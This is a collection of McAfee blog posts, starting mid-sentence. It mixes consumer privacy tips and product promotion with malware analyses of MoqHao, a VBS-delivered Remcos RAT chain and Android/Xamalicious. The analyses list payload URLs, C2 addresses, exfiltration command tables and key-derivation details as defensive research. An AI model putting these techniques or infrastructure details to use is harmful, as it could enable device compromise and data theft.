For those pieces, they’ll turn to info found on the dark web, info readily available from online data brokers, and yet more info from social media. Already, we have products and features that protect your identity on the dark web and that help remove your info from sketchy data broker sites. Now, our Social Privacy Manager helps you shut down one more source of info from bad actors — a source they successfully tap into.
According to the U.S. Federal Trade Commission (FTC), scammers recently used social media as a contact method in 11% of the fraud and identity theft cases where victims cited a method.
Source: FTC
While that figure finds itself somewhat in the middle of the pack in terms of contact methods, it was the second-most effective method as it led to a loss 61% of the time. Only ads and pop-ups worked more effectively at 63%, making social media a goldmine for hackers and scammers indeed.
Earlier, we mentioned just how much time teens spend on social media. Taking a deeper dive into the numbers provided by Pew Research, we can see a couple of things — the top platforms they use and how often they use them:
YouTube absolutely leads the way with 93% of U.S. teens using that social media platform. Right behind it, TikTok, Snapchat, and Instagram. Also on this chart, you can spot the steep ten-year decline of Facebook and Twitter (X), a particularly precipitous drop for Facebook of more than half.
As for how often teens visit these platforms daily, the same names follow in order. YouTube takes the number one spot yet again, with 71% of teens saying they use it daily. In all, teens are telling us that social media factors into a large part of their day. “Almost constantly” for some.
From a parental standpoint, the privacy implications are clear. High use leads to high exposure and the potential privacy risks that follow. Not to mention possible exposure to scams just as adult social media users might encounter.
Without question, this makes privacy on social media a family matter.
While social media provides bad actors with another avenue to commit crimes online, you can still use social media safely in a way that reduces your risk.
With our Social Privacy Manager, you can determine what you do and don’t want to share. It scans the accounts you enter and offers suggestions that can improve your privacy. You select which ones you want to enable, and the app makes the updates with a single click.
Making it even simpler, you can also secure your privacy based on what kind of social media user you are. Whether you just tend to hang back, explore, or put yourself out there a bit more, there’s a privacy setting for you. And if you change your mind, it can help change your settings whenever you like.
If it all seems rather straightforward and simple, it is. We designed it so that you don’t have to dig through menu after menu to uncover every setting and then make the informed choice you want to make. The app does the work for you. And you can run it any time and update your settings as you like. In fact, we suggest running checks regularly as platforms can and do change their privacy settings and policies.
And as we saw above, teens are on social media. A lot. Note that you can use our Social Privacy Manager on the accounts your teens have too. It’s just a matter of running through the same steps with each of their accounts. This way, everyone in the family can boost their privacy on social media.
You can find McAfee’s Social Privacy Manager in our McAfee+ online protection plans. In conjunction with a host of other features like Identity Monitoring and Personal Data Cleanup, you can thoroughly protect your privacy and identity. On social media and anywhere else your travels take you online.
You can take a peek of Social Privacy Manager here:
In all, the last several years have seen numerous advances that make it easier, and quicker, to protect your privacy and identity. Old, manual processes that were spread out across umpteen sites and services are now automatic. And guided too. McAfee’s Social Privacy Manager stands as yet one more of those advances.
True, going online carries its risks. Social media complicates them more so. Yet you can reduce those risks, significantly so. You really can lock down your privacy. Quickly and easily, for you and your family.

The post Introducing Social Privacy Manager appeared first on McAfee Blog.
Social media is part of our social fabric. So much so that over 56% of the global population are social media users to some degree or other. With all that sharing, conversing, and information passing between family and friends, social media can be a distinct digital extension of ourselves—making it important to know how you can protect your social media accounts from hacks and attacks.
Beyond the sheer number of people who’re on social media, there’s also the amount of time we spend on it. People worldwide spend an average of 147 minutes a day on social media. With users in the U.S. spending just over two hours on social media a day and users in the Philippines spending nearly four hours a day, that figure can vary widely. Yet it’s safe to say that a good portion of our day features time scrolling and thumbing through our social media feeds.
Given how much we enjoy and rely on social media, now’s a fine time to give your social media settings and habits a closer look so that you can get the most out of it with less fuss and worry. Whether you’re using Facebook, Instagram, TikTok, or whatnot, here are several things you can do that can help keep you safe and secure out there:
Passwords mark square one in your protection, with strong and unique passwords across all your accounts forming primary line of defense. Yet with all the accounts we have floating around, juggling dozens of strong and unique passwords can feel like a task—thus the temptation to use (and re-use) simpler passwords. Hackers love this because one password can be the key to several accounts. Instead, try a password manager that can create those passwords for you and safely store them as well. Comprehensive security software will include one.
Social media platforms like Facebook, Instagram, and others give you the option of making your profile and posts visible to friends only. Choosing this setting keeps the broader internet from seeing what you’re doing, saying, and posting, which can help protect your privacy.
Be critical of the invitations you receive. Out-and-out strangers could be more than just a stranger, they could be a fake account designed to gather information on users for purposes of cybercrime, or they can be an account designed to spread false information. There are plenty of them too. In fact, in Q3 of 2021 alone, Facebook took action on 1.8 billion fake accounts. Reject such requests.
Nothing says “there’s nobody at home right now” like that post of you on vacation or sharing your location while you’re out on the town. In effect, such posts announce your whereabouts to a broad audience of followers (even a global audience, if you’re not posting privately, as called out above). Consider sharing photos and stories of your adventures once you’ve returned.
It’s a famous saying for a reason. Whether your profile is set to private or if you are using an app with “disappearing” messages and posts (like Snapchat), what you post can indeed be saved and shared again. It’s as simple as taking a screenshot. If you don’t want it out there, forever or otherwise, simply don’t post it.
We’re increasingly accustomed to the warnings about phishing emails, yet phishing attacks happen plenty on social media. The same rules apply. Don’t follow any links you get from strangers by way of instant or direct messengers. And keep your personal information close. Don’t pass out your email, address, or other info as well. Even those so-called “quiz” posts and websites can be ruses designed to steal bits and pieces of personal info that can be used as the basis of an attack.
Sadly, social media can also be a place where people pull a fast one. Get-rich-quick schemes, romance cons, and all kinds of imposters can set up shop in ads, posts, and even direct messages—typically designed to separate you from your personal information, money, or both. This is an entire topic to itself, and you can learn plenty more about quizzes and other identity theft scams to avoid on social media.
Some platforms such as Facebook allow users to review posts that are tagged with their profile names.

MoqHao is a well-known Android malware family associated with the Roaming Mantis threat actor group first discovered in 2015. McAfee Mobile Research Team has also posted several articles related to this malware family that traditionally targets Asian countries such as Korea and Japan.
Recently McAfee Mobile Research Team found that MoqHao began distributing variants using very dangerous technique. Basically, the distribution method is the same. They send a link to download the malicious app via the SMS message. Typical MoqHao requires users to install and launch the app to get their desired purpose, but this new variant requires no execution. While the app is installed, their malicious activity starts automatically. This technique was introduced in a previous post but the difference is that this dangerous technique is now being abused by other well-known active malware campaigns like MoqHao. We have already reported this technique to Google and they are already working on the implementation of mitigations to prevent this type of auto-execution in a future Android version. Android users are currently protected by Google Play Protect, which is on by default on Android devices with Google Play Services. Google Play Protect can warn users or block apps known to exhibit malicious behavior, even when those apps come from sources outside of Play. McAfee Mobile Security detects this threat as Android/MoqHao.
MoqHao is distributed via phishing SMS messages (also known as Smishing). When a user receives an SMS message containing a malicious link and clicks it, the device downloads the malicious application. Phishing messages are almost the same as in previous campaigns:
Figure 1. Smishing message impersonating a notification from a courier service.
One noticeable change is that they now use URL shortener services. If the malware authors use their own domain, it can be quickly blocked but if they use legitimate URL shortener services, it is difficult to block the short domain because it could affect all the URLs used by that service. When a user clicks on the link in the message, it will be redirected to the actual malicious site by the URL shortener service.
As mentioned at the beginning, this variant behaves differently from previous ones. Typical MoqHao must be launched manually by the user after it is installed but this variant launches automatically after installation without user interaction:
Figure 2. Differences between typical MoqHao and Modern MoqHao
We explained this auto-execution technique in detail in a previous post but to briefly summarize it here, Android is designed so when an app is installed and a specific value used by the app is set to be unique, the code runs to check whether the value is unique upon installation. This feature is the one that is being abused by the highly active Trojan family MoqHao to auto-execute itself without user interaction. The distribution, installation, and auto-execution of this recent MoqHao variant can be seen in the following video:
On the other hand, this recent MoqHao variant uses Unicode strings in app names differently than before. This technique makes some characters appear bold, but users visually recognize it as “Chrome”. This may affect app name-based detection techniques that compare app name (Chrome) and package name (com.android.chrome):
Figure 3. App name using Unicode strings.
Additionally, they also use social engineering techniques to set malicious apps as the default SMS app. Before the settings window appears, they show a message telling you to set up the app to prevent spam, but this message is fake:
Figure 4. Fake message using social engineering techniques.
Also, the different languages used in the text associated with this behavior suggests that, in addition to Japan, they are also targeting South Korea, France, Germany, and India:
Figure 5. Fake messages designed to target different countries.
After the initialization of the malware is completed, it will create a notification channel that will be used to display phishing messages:
Figure 6. Create a notification channel for the next phishing attack.
The malware checks the device’s carrier and uses this notification to send phishing messages accordingly to trick users into clicking on them. MoqHao gets the phishing message and the phishing URL from Pinterest profiles.
Figure 7. Phishing message and URL in Pinterest profile
If the phishing string is empty, MoqHao will use the phishing message in the code:
Figure 8. Phishing notification code for each carrier
This variant also connects to the C2 server via WebSocket. However, it has been confirmed that several other commands have been added in addition to the commands introduced in the previous post:
| Command | Description |
| getSmsKW | Send all SMS messages to C2 server |
| sendSms | Send SMS messages to someone |
| setWifi | Enable/disable Wifi |
| gcont | Send whole contacts to C2 server |
| lock | Store Boolean value in “lock” key in SharedPreferences |
| bc | Check SIM state |
| setForward | Store String value in “fs” key in SharedPreferences |
| getForward | Get String value in “fs” key in SharedPreferences |
| hasPkg | Check specific package installed on device |
| setRingerMode | Set Sound/Vibrate/Silent mode |
| setRecEnable | Set Vibrate/Silent mode according to SDK version |
| reqState | Send device information (Network, Power, MAC, Permission) to C2 server |
| showHome | Emulate Home button click |
| getnpki | Send Korean Public Certificate (NPKI) to C2 server |
| http | Send HTTP requests |
| call | Call a specific number with Silent mode |
| get_apps | Get list of installed packages |
| ping | Check C2 server status |
| getPhoneState | Get unique information such as IMEI, SIM number, Android ID, and serial number |
| get_photo | Send all photos to C2 server |
MoqHao malware family is an active malware that has been around for years. Although many years have passed, they are using more and more different ways to hide and reach users. We are seeing a much higher number of C2 commands than in previous, the active use of legitimate sites like Pinterest to store and update phishing data, and code with the potential to target Asian countries like Japan and South Korea, as well as countries like France, Germany, and India. Moreover, we expect this new variant to be highly impactful because it infects devices simply by being installed without execution.
It is difficult for general users to find fake apps using legitimate icons and application names, so we recommend users to install secure software to protect their devices. For more information, visit McAfee Mobile Security.

On Safer Internet Day, we ask an important question: how can you tell what’s real and what’s fake online?
There’s plenty of fakery out there, due in large part to AI-generated content. And spotting the difference takes a bit of work nowadays.
Taylor Swift showed us why back in January. More accurately, a Taylor Swift AI voice clone showed us why. Scammers combined old footage of Swift with phony AI-cloned audio that touted a free cookware giveaway. They went about it in a cagey way, using the Le Creuset brand as bait, a brand that her fans know she loves.
Of course, all people had to do was “answer a few questions” to get their “free” cookware. When some did, they wound up with stolen personal info. It’s one of many full-on identity theft scams with a bogus celebrity AI twist.
Of course, this wasn’t the first time that scammers used AI to trick well-meaning people. Last December saw AI voice-cloning tools mimic singer Kelly Clarksoni to sell weight-loss gummies. Over the summer, scammers posted other ads using the synthesized voice of Elon Muskii.
Meanwhile, more quietly yet no less damaging, we’ve seen a glut of AI-generated fakes flood our screens. They look more convincing than ever, as bad actors use AI tools to spin up fake videos, emails, texts, and images. They do it quickly and on the cheap, yet this fake content still has a polish to it. Much of it lacks the telltale signs of a fake, like poor spelling, grammar, and design.
Another example of AI-generated fake content comes from a BBC report on disinformation being fed to young studentsiii. In it, they investigated several YouTube channels that use AI to make videos. The creators of these channels billed them as educational content for children, yet the investigators found them packed with falsehoods and flat-out conspiracy theories.
This BBC report offers a prime example of deliberate disinformation, produced on a vast scale, passing itself off as the truth. It’s also one more example of how bad actors use AI, not for scams, but for spreading outright lies.
Amid all these scams and disinformation floating around, going online can feel like playing a game of “true or false.” Quietly, and sometimes not so quietly, we find ourselves asking, “Is what I’m seeing and hearing real?”
AI has made answering that question tougher, for sure. Yet that’s changing. In fact, we’re now using AI to spot AI. As security professionals, we can use AI to help sniff out what’s real and what’s fake. Like a lie detector.
We showcased that exact technology at the big CES tech show in Las Vegas earlier this year. Our own Project Mockingbird, which spots AI-generated voices with better than 90% accuracy. Here’s a look at it in action when we ran it against the Taylor Swift scam video. As the red lines spike, that’s our AI technology calling out what’s fake …
In addition to AI audio detection, we’re working on technology for image detection, video detection, and text detection as well — tools that will help us tell what’s real and what’s fake. It’s good to know technology like this is on the horizon.
Yet above and beyond technology, there’s you. Your own ability to spot a fake. You have a lie detector of your own built right in.
Like Ferris Bueller said in the movies years ago, “Life moves pretty fast …” and that’s true of the internet too. The speed of life online and the nature of our otherwise very busy days make it tough to spot fakes. We’re in a rush, and we don’t always stop and think if what we’re seeing and hearing is real. Yet that’s what it takes. Stopping, and asking a few quick questions.
As put forward by Common Sense Media, a handful of questions can help you sniff out what’s likely real and what’s likely false. As you read articles, watch videos, and so forth, you can ask yourself:
Answering only a few of them can help you spot a scam. Or at least get a sense that a scam might be afoot. Let’s use the Taylor Swift video as an example. Asking just three questions tells you a lot.
First, “what important info is left out?”
The video mentions a “packaging error.” Really? What kind of error? And why would it lead Le Creuset to give away thousands and thousands of dollars worth of their cookware? Companies have ways of correcting errors like these. So, that seems suspicious.
Second, “is this credible?”
This one gets a little tricky. Yet, watch the video closely. That first clip of Swift looks like a much younger Swift compared to the other shots used later. We’re seeing Taylor Swift from her different “eras” throughout, stitched together in a slapdash way. With that, note how quick the cuts are. Likely the scammers wanted to hide the poor lip-synching job they did. That seems yet more suspicious.
Lastly, “who paid for this content?”
OK, let’s say Le Creuset really did make a “packaging error.” Would they really put the time, effort, and money into an ad that features Taylor Swift? That would most certainly heap even more losses on those 3,000 “mispackaged” pieces of cookware. It doesn’t make sense.
While these questions didn’t give definitive answers, they certainly raised several red flags. Everything about this sounds like a scam, thanks to asking a few quick questions and running the answers through your own internal lie detector.
So, how you can tell what’s real and what’s fake online? In the time of AI, it’ll get easier as new technologies that detect fakes roll out. Yet as it is with staying safe online, the other part of knowing what’s true and false is you.
Hopping online today calls for a critical eye more now than ever. Bad actors can cook up content with AI at rates unseen until now. And they create it to strike a nerve. To lure you into a scam or to sway your thinking with disinformation. With that, content that riles you up, catches you by surprise, or that excites you into action is content that you should pause and think about.
Asking a few questions can help you spot a fake or give you a sense that something about that content isn’t quite right, both of which can keep you safer online.
The post Safer Internet Day: Telling What’s Real from What’s Fake Online appeared first on McAfee Blog.
Imagine a “Privacy Facts” label on the apps, devices, and websites you use. Like a digital version of the “Nutrition Facts” on the sides of your cereal boxes and other food you buy. With a quick look, you could see what the company behind that app, device, or website collects — and what they do with it.
Sadly, no such label exists. The fact of privacy today is that it takes work to uncover how the apps, devices, and websites you use collect your personal data and info.
To uncover those details, you’ll find yourself wading through privacy policies, which are known for their thick legalese. And they can get rather vague. Words like “may” and “might” leave the door open for what companies really do with the personal info and data they collect. They “may” share it with other parties and they “might” sell it to other parties as well.
Meanwhile, those other parties “may” or “might” use it for their own purposes. Other parties that are largely unknown to you, if not completely unknown, because they’re undisclosed.
As a result, once your personal data and info gets out there, it has a way of getting around.
Data and info collection powers the internet, which counts as yet one more fact of privacy. Yet that collection has its legal and ethical boundaries. And those boundaries stand front and center once again this Data Privacy Day.
Data Privacy Day gives us a chance to consider the importance of respecting privacy, of protecting data, and of building trust. Particularly on the internet, where data is the coin of the realm. It holds great value. Companies want it to improve their services and marketing. Bad actors want it to commit fraud and theft — or sell it on dark marketplaces.
Your clutch of personal data and info has a price tag hanging on it. That makes it worth protecting.
Granted, we think about privacy every day. The value it has. The importance of protecting it. And how we can make that protection it stronger and easier for you. That’s very much on our minds in a time where people say they have little idea about what personal data and info gets collected.
Indeed, plenty of people are scratching their heads about their privacy online. Findings from Pew Research in 2023 showed that roughly three-quarters of Americans surveyed said they feel like they have little or no control over data collectioni. Moreover, 67% of them said they understand little to nothing about what companies are doing with their personal data. That’s up 8% from 59% in 2019ii.
In four short years, more people feel like protecting their privacy is out of their hands. Even the ripple effects of the European Union’s General Data Protection Regulation (GDPR)iii and strong consumer privacy laws in a dozen or so U.S. statesiv haven’t increased their confidence. Only 61% of Americans feel that anything they do will make much difference when it comes to managing their privacy onlinev.
Yet something else has happened in those four years. Online protection software has become more powerful. Particularly when it comes to privacy. Even if things feel otherwise, you truly can take significant steps that make a difference in your privacy.
As far as our online protection software goes, it offers several simple and powerful ways to protect your privacy. McAfee+ features Personal Data Cleanup and Online Account Cleanup — two ways you can take control of your data and info. With them, you can:
Further, McAfee+ rounds things out with our VPN. That keeps you anonymous from advertisers and other data collectors, all while securing you from other prying eyes online.
Those handful of features, part of your overall identity and virus protection, can make you far more private. Even in a time of opaque privacy policies and heavy data collection online. Once again, our aim is to make that simple and powerful for you.
It really is too bad there’s not a label for privacy. Sure, it’d be nice if you could peer into the Privacy Facts of the apps, devices, and websites you use. But the good news is that online protection software can put you in control of your personal data and info without those details. You truly are in more charge of your privacy than you might feel nowadays.

McAfee Labs has been tracking a sophisticated VBS campaign characterized by obfuscated Visual Basic Scripting (VBS). Initially delivering the AgentTesla malware, the campaign has evolved into a multi-faceted threat, employing VBS scripts as a versatile delivery mechanism. Notably, this campaign extends beyond AgentTesla, now distributing a range of malware such as Guloader, Remcos RAT, Xworm, and Lokibot.
This campaign illustrates a comprehensive infection process initiated by a VBS file delivered via email. Starting with the activation of a VBS script, it progresses through PowerShell phases, utilizing the BitsTransfer utility for fetching a second-stage PowerShell script. The decoded and executed Shellcode A conceals and loads Shellcode B. In the final phase, wab.exe downloads the encrypted Remcos RAT payload. Shellcode B decrypts and injects it into wab.exe, making it function as the Remcos RAT.
The observed campaign has been noted for targeting diverse regions worldwide. Presented below is a geographical heatmap depicting McAfee customers who have been targeted and saved over the past three months.
Figure 1: Geo Heatmap showing targeted regions.
In the featured blog post, malicious actors utilized GuLoader to deploy the Remcos RAT.
Figure 2: Infection chain
The execution begins by running a VBS script. then it triggers the execution of the first-stage PowerShell. Subsequently, the BitsTransfer utility is employed to fetch a second-stage PowerShell which is base64 encoded.
The second stage PowerShell is then encoded and executed. Following this, the First Shellcode is meticulously carved out and loaded reflectively. The second Shellcode encoded within Shellcode A, undergoes decoding and is also reflectively loaded.
The final step involves a second Shellcode which is leveraged to retrieve and inject the Remcos RAT (Remote Control and Surveillance Tool) into a legitimate Windows process. In this case, wab.exe. This intricate series of actions allows for the stealthy deployment and operation of the Remcos RAT within the Windows environment.
Figure 3: Process Tree
Attached to the email is a ZIP file seemingly labeled as “revised_quotation_for_purchase_invoice_order_design_6th_november_2023“, resembling an invoice to the user. The intent, much like similar deceptive emails, is for the recipient not to scrutinize the email closely.
Inside the zip file attachment is a heavily obfuscated VBS file. The VBS script employed several techniques to make the analysis quite difficult. It has many garbage variables, decoy functions, and unnecessary comments, and all the malicious functions are obfuscated.
Figure 4: Heavily obfuscated script
The code appears streamlined after removing redundant lines, resulting in a more concise and efficient version. After removing all the comments, the script turned out to be as follows:
Figure 5: Post-removing the junk code
In the script, there’s a frequent appending of new strings to the variable “Fu6”. This method serves to increase the complexity of the analysis. Once all the strings are concatenated and formatted, the result emerges in a more intriguing manner. As shown in the below image.
Figure 6: After deobfuscating the code
The function “Mikr9” will handle the conversion of strings, rendering them readable. We converted all the lines to a readable format, with the help of the “Fu6” function. For example, as shown in Figure 5, the string
‘DelfhAdvetFagstStatpYapp:Nona/fisk/Indh1 Sic0 Tra3parc. Mon1Gens7Vide6Eufo.Tast1Outs1Midd1afte.Dors1husg6 Hal3Beja/ Hypm RenuColonSprgdNasahToasuRafflchon.GyttpBrnefMuckbAcci ‘ became http://103.176.111[.]163/mundhul.pfb.
Likewise, the entire script is decoded, and we get the following script:
Figure 7: After applying decrypting function Mikr9()
The script conducts the following sequence of activities:
The file retrieved shows zero detection on VT, appears to be base64 encoded, and has a size of 336KB.
Figure 8: Second Powershell script
Figure 9: Content is base64 encoded
Upon decoding “mundhul.pfb,” a detailed analysis can be conducted to comprehend its functionality, enabling further examination of the malware’s execution. Once the file gets decoded, it reveals a code resembling the image provided below.
Figure 10: Base64 decoded data
As specified in the script, execute a jump to offset 229981 and retrieve the ensuing 28050 units of data. This marks the start of the second PowerShell script, which is 28050 bytes, marked as follows.
Figure 11: Start of encrypted second PowerShell
The code contains various comments, so we followed the same procedure, as we did for the first script, removed all the junk code and we got a function that seems to handle the decryption of all the strings.
</centerFigure 12: After removing the junk
The decryption process iterates multiple times to unveil the strings, and the malware employs the “Invoke” method to execute its commands. After decoding all the strings using “Bedroges02” function, we finally got the intent of the script.
Figure 13: After applying decryption logic
The PowerShell script initially loads the VirtualAlloc() function and stores the memory handle in variables named “trll3” and “Akuammin195”. These sections possess permissions for writing, reading, and executing. The latter segment of the script appears to invoke a concealed shellcode embedded within it.
The execution sequence involves copying the bytes as follows: The initial 644 bytes from the beginning of this PowerShell script constitute the first shellcode. Subsequently, starting from byte 644, the script copies the next 229337 bytes, constituting the second shellcode.
Figure 14: Constituting shellcode
Following the execution sequence, malware initiates the API call CallWindowProcA, leading subsequently to the invocation of the native function NtProtectVirtualMemory. Then the process transitions directly to initiating the first shellcode.
The shellcode-A’s primary action involves copying the shellcode B into memory, as depicted in the figure below.
Figure 15: Loop used for copying shellcode B
The shellcode B undergoes decryption via XOR operation. This operation serves to transform the code into its executable form, allowing the decrypted shellcode to execute its intended instructions within the system’s memory.
Figure 16: Decryption loop used for decrypting shellcode B
The shellcode is designed to establish a new process named “wab.exe” and it replicates 0x3FC4000 bytes of decrypted shellcode into its memory space. As indicated by the highlighted blue box, the content decrypted from the second shellcode (shown in Figure 15) is subsequently injected into the wab.exe process (depicted in Figure 16).
Figure 17: Injection of second shellcode
The objective of the shellcode is to fetch the Remcos RAT from the specified URL, “hxxp://103.176.111.163/lnHxQotdQb132.bin” and subsequently inject it into the “wab.exe” process. Once “wab.exe” is injected by the final payload, it undertakes all malicious activities.
Figure 18: wab.exe connecting to C2
The file obtained from the provided URL seems to be an encrypted binary. Upon decryption, it has been recognized to initiate communication with the IP address 94.156.65.197 through port 2404. An observation revealed the creation of a mutex named “Rmc-R7V4VM.” Data keylogged during its operation is stored in a file labeled “logs.dat.” Additionally, screenshots captured are saved in a directory named “Screenshots,” while the overall repository for the collected data is titled “Remcos.”
Conclusion:
This campaign outlines the comprehensive infection process initiated by a VBS file received through email. The process begins with the activation of a VBS script, initiating the initial PowerShell phase. Subsequently, the BitsTransfer utility is used to fetch a second-stage PowerShell script, encoded in base64. After decoding and execution, the first Shellcode is carefully extracted and loaded reflectively. Simultaneously, Shellcode A conceals and loads the decoded Shellcode B.
In the final phase, the injected wab.exe proceeds to download the encrypted final payload of the Remcos RAT. Shellcode B is responsible for decrypting the payload, and it is subsequently injected into wab.exe. Consequently, this particular instance of wab.exe functions as the Remcos RAT.
VBScript in the Windows Environment: A Security Perspective
VBScript, introduced by Microsoft in 1996, was crucial in the Windows environment as a scripting language for task automation, tightly integrated with Internet Explorer, and a key component of technologies like Windows Script Host, Active Server Pages, and Office automation. It provided a simple scripting solution for system tasks, web development, and server-side logic. Microsoft is deprecating VBScript, and it will be available as a feature on-demand before eventual removal from Windows, said the company. This decision aligns with a broader strategy to reduce malware campaigns exploiting Windows and Office features. VBScript, disabled by default in Internet Explorer 11 since 2019, has been used by malicious actors for distributing malware, and Microsoft aims to enhance security by eliminating this infection vector. Attackers exploit vulnerabilities in phased-out technologies due to lingering use in legacy systems, slow adoption of updates, custom applications, stringent industry requirements, and user resistance to change. To mitigate risks, proactive measures such as prompt updates, security education, and staying informed about software lifecycles are crucial.
Mitigation:
Avoiding falling victim to email phishing involves adopting a vigilant and cautious approach. Here are some common practices to help prevent falling prey to email phishing:
| VBS file | 6fdd246520eebb59e37a7cd544477567b405a11e118b7754ff0d4a89c01251e4 |

McAfee Mobile Research Team identified an Android backdoor implemented with Xamarin, an open-source framework that allows building Android and iOS apps with .NET and C#. Dubbed Android/Xamalicious it tries to gain accessibility privileges with social engineering and then it communicates with the command-and-control server to evaluate whether or not to download a second-stage payload that’s dynamically injected as an assembly DLL at runtime level to take full control of the device and potentially perform fraudulent actions such as clicking on ads, installing apps among other actions financially motivated without user consent.
The second stage payload can take full control of the infected device due to the powerful accessibility services that were already granted during the first stage which also contains functions to self-update the main APK which means that it has the potential to perform any type of activity like a spyware or banking trojan without user interaction. However, we identified a link between Xamalicious and the ad-fraud app “Cash Magnet” which automatically clicks ads, installs apps, and other actions to fraudulently generate revenue while users that installed it may earn points that are supposed to be redeemable as a retail gift card. This means that the developers behind these threats are financially motivated and drive ad-fraud therefore this might be one of the main payloads of Xamalicious.
The usage of the Xamarin framework allowed malware authors to stay active and without detection for a long time, taking advantage of the build process for APK files that worked as a packer to hide the malicious code. In addition, malware authors also implemented different obfuscation techniques and custom encryption to exfiltrate data and communicate with the command-and-control server.
We’ve identified about 25 different malicious apps that carry this threat. Some variants have been distributed on Google Play since mid-2020. The apps identified in this report were proactively removed by Google from Google Play ahead of our reporting. McAfee is a member of the App Defense Alliance and an active partner in the malware mitigation program, which aims to quickly find Potentially Harmful Applications (PHAs) and stop them before they ever make it onto Google Play. Android users are protected by Google Play Protect, which can warn users of identified malicious apps on Android devices. McAfee Mobile Security detects this threat as Android/Xamalicious.
Based on the number of installations these apps may have compromised at least 327,000 devices from Google Play plus the installations coming from third-party markets that continually produce new infections based on the detection telemetry of McAfee clients around the world. This threat remains very active.
Figure 1. “Count Easy Calorie Calculator” was available on Google Play on August 2022 and carries Android/Xamalicious
Android/Xamalicious trojans are apps related to health, games, horoscope, and productivity. Most of these apps are still available for download in third-party marketplaces.
Previously we detected malware abusing Xamarin framework such as the open-sourced AndroSpy and forked versions of it, but Xamalicious is implemented differently. Technical details about Xamarin architecture are well documented and detail how .NET code is interpreted by Android using Mono.
Let’s use the app “Numerology: Personal horoscope & Number predictions” as an example. Once started it immediately requests the victim to enable accessibility services for “correct work” and provides directions to activate this permission:
Figure 2. Tricking users into granting accessibility services permission
Users need to manually activate the accessibility services after several OS warnings such as the following on the accessibility options:
Figure 3. Accessibility services configuration prompt highlights the risks of this permission.
This is not the traditional Java code or native ELF Android application, the malware module was written originally in .NET and compiled into a dynamic link library (DLL). Then it is LZ4 compressed, and it might be embedded into a BLOB file, or directly available in the /assemblies directory on the APK structure. This code is loaded then by a native library (ELF) or by the DEX file at runtime level. In simple words, this means that in some samples the reversing of the DLL assemblies is straightforward while in others it requires extra steps to unpack them.
The malicious code is usually available in two different assembly files in the /assemblies directory on the apk. Usually, file names are core.dll and a <package-specific>.dll.
Some malware variants has obfuscated the DLL assemblies to avoid analysis and reversing of the malicious code while others keep the original code available.
Figure 4. Core.dll and GoogleService.dll contain malicious code.
Once accessibility permissions are granted the malware initiates communication with the malicious server to dynamically load a second-stage payload.
Figure 5. App execution and communication with the malicious server
Android/Xamalicious collects multiple device data including the list of installed applications obtained via system commands to determine if the infected victim is a good target for the second stage payload. The malware can collect location, carrier, and network information among device rooting status, adb connectivity configuration, for instance, if the device is connected via ADB or is rooted, the C2 will not provide a second-stage payload DLL for download.
| Method/Command | Description |
| DevInfo |
Hardware and device information that includes:
|
| GeoInfo |
Location of the device based on IP address, the malware contacts services such as api.myip.com to verify the device location and ISP data.
FraudScore: Self-protection to identify if the device is not a real user |
| EmuInfo |
It lists all adbProperties that in a real device are around 640 properties. This list is encoded as a string param in URL encoded format.
This data may be used to determinate if the affected client is a real device or emulator since it contains params such as:
|
| RootInfo | After trying to identify if the device is rooted or not with multiple techniques the output is consolidated in this command |
| Packages | It uses the system commands “pm list packages -s” and “pm list packages -3” to list system and installed apps on the device. |
| Accessibility | It provides the status if accessibility services permissions are granted or not |
| GetURL | This command only provides the Android Id and it’s a request for the second-stage payload. The C2 evaluates the provided client request and returns a status and an encrypted assembly DLL. |
To evade analysis and detection, malware authors encrypted all communication and data transmitted between the C2 and the infected device, not only protected by HTTPS, it’s encrypted as a JSON Web Encryption (JWE) token using RSA-OAEP with a 128CBC-HS256 algorithm however the RSA key values used by the Xamalicious are hardcoded in the decompiled malicious DLL so decryption of transmitted information is possible if C2 infrastructure is available during the analysis.
In the Send() function Android/Xamalicious first prepares the received object, usually a JSON structure calling the function encrypt() which creates the JWT using a hardcoded RSA key. So the data is exfiltrated fully encrypted to the malware host pointing to the path “/Updater” via HTTP POST method.
Then it waits for the C2 response and passes it to the decrypt() function which has a hardcoded RSA private key to properly decrypt the received command which might contain a second stage payload for the “getURL” command.
Encrypt Method:
Figure 6. Encrypt function with hardcoded RSA Key values as XML string
The decryption method is also hardcoded into malware which allowed the research team to intercept and decrypt the communication from the C2 using the RSA key values provided as XML string it’s possible to build a certificate with the parameters to decrypt the JWE tokens content.
Collected data is transmitted to the C&C to determine if the device is a proper target to download a second-stage payload. The self-protection mechanism of the malware authors goes beyond traditional emulation detection and country code operator limitations because in this case, the command-and-control server will not deliver the second stage payload if the device is rooted or connected as ADB via USB or does not have a SIM card among multiple other environment validations.
With the getURL command, the infected client requests the malicious payload, if the C&C Server determines that the device is “Ok” to receive the malicious library it will encrypt a DLL with Advanced encryption standard (AES) in Cipher block chaining (CBC) using a custom key for the client that requested it based on the device id and other parameters explained below to decrypt the code since it’s a symmetric encryption method, the same key works for encryption and decryption of the payload.
The encrypted DLL is inserted as part of the HTTP response in the encrypted JSON Web Token “JWT”. Then the client will receive the token, decrypt it, and then decrypt the ‘url’ parm with AES CBC and a custom key.
The AES key used to decrypt the assembly is unique per infected device and its string of 32 chars of length contains appended the device ID, brand, model, and a hardcoded padding of “1” up to 32 chars of length.
For instance, if the device ID is 0123456ABCDEF010 and the affected device is a Pixel 5, then the AES key is: “0123456ABCDEF010googlePixel 5111”
This means that the DLL has multiple layers of encryption.
All these efforts are related to hiding the payload and trying to stay under the radar where this threat had relative success since some variants might have been active years ago without AV detections.
Xamalicious will name this DLL “cache.bin” and store it in the local system to finally dynamically load it using the Assembly.Load method.
Once the second stage payload has been loaded the device can be fully compromised because once accessibility permissions are granted, it can obverse and interact with any activity opening a backdoor to any type of malicious activity.
During the analysis, the downloaded second stage payload contained a DLL with the class “MegaSDKXE” which was obfuscated and incomplete probably because the C2 didn’t receive the expected params to provide the complete malicious second stage that might be limited to a specific carrier, language, app installed, location, time zone or unknown conditions of the affected device, however, we can assure that this is a high-risk backdoor that leaves the possibility to dynamically execute any command on the affected device not limited to spying, impersonation or as a financially motivated malware.
One of the Xamalicious samples detected by McAfee Mobile generic signatures was “LetterLink” (com.regaliusgames.llinkgame) which was available on Google Play at the end of 2020, with a book icon. It was poorly described as a hidden version of “Cash Magnet”: An app that performs ad-fraud with automated clicker activity, apps downloads, and other tasks that lead to monetization for affiliate marketing. This application offers users points that are supposed to be redeemable by retail gift cards or cryptocurrency.
Figure 8a. LetterLink login page after running the app for the first time.
Figure 8b. LetterLink agreement for Cash Magnet
